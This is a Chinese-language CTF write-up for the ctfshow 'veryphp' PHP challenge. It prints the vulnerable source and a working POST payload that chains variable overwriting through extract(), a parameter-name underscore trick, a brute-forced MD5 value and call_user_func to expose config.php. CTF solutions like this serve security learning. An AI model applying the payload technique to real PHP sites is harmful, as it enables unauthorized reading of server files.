ctfshow-DJBCTF-veryphp wp

简介: ctfshow-DJBCTF-veryphp wp

ctfshow=DJBCTF-veryphp WP

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

又是代码审计,快被折磨死了,一定要抽出时间好好学学

这里是参考的其他的师傅的一份wp

打开环境代码审计,一堆过滤恶心,还好可以一层一层套下去

解题思路:

post传入三个变量,通过变量覆盖赋值,并且不能包含题目中的那些特殊字符

  1. SecretNumber的值,并传入到ans
  2. 调用qwq类当中的oao方法

那么首先来看这个正则匹配,稍微学过正则的都应该能懂,我给出我的一个payload,可以参考学习

-a9<b>111111111>>>>abcphp@Rsz

但是传入参数前shaw_root中间有过不了正则的限制,这里利用了一个特性,在传入一些非法字符的时候php会把它解析为下划线,我记得有空格和[和+这三个这里我用空格吧,post传入

shaw root=-a9<b>111111111>>>>abcphp@Rsz

传入后得到hint,接下来通过爆破得到了secretnumber是21475

>Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

进入最后一层call_user_func,这里用了其特性,调用类的方法时语法是qwq::oao

因此最终payload是,burp发包即可获得flag

shaw root=-a9<b>111111111>>>>abcphp@Rsz&ans=21475&my ans=qwq::oao

在这里插入图片描述

目录
相关文章
|
供应链 中间件
哥斯拉内存马/Suo5内存代理插件
哥斯拉内存马/Suo5内存代理插件
1472 0
|
JSON JavaScript 应用服务中间件
【1024杯】web
【1024杯】web
177 0
|
存储 安全 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第3天】在Java编程的世界里,对象序列化与反序列化是实现数据持久化和网络传输的关键技术。本文将深入探讨Java序列化的原理、应用场景以及如何通过代码示例实现对象的序列化与反序列化过程。从基础概念到实践操作,我们将一步步揭示这一技术的魅力所在。
【漏洞复现】探索 Python 中原型链的利用与污染
在本文中,我们从实际应用的角度出发,深入探讨原型链的利用方式,并剖析可能导致代码安全漏洞和意外行为的污染情形,同时希望读者深刻了解 Python 中原型链的概念、机制以及潜在的安全风险。
|
SQL 数据库
【SQL注入】 sqli-labs靶场 sqlmap注入
SQL注入 sqli-labs靶场 sqlmap注入
434 0
|
安全 应用服务中间件 Linux
利用本地idea和tomcat 远程调试服务器部署的war包程序
利用本地idea和tomcat 远程调试服务器部署的war包程序
1310 0
利用本地idea和tomcat 远程调试服务器部署的war包程序
|
Shell
反弹shell脚本(php-reverse-shell)
反弹shell脚本(php-reverse-shell)
529 0
|
缓存 安全 fastjson
Fastjson姿势技巧集合2
Fastjson姿势技巧集合
801 0
基于SSTI模块注入的常用payload总结
基于SSTI模块注入的常用payload总结
447 0
解决 kali换源之后签名无效
解决 kali换源之后签名无效
1115 0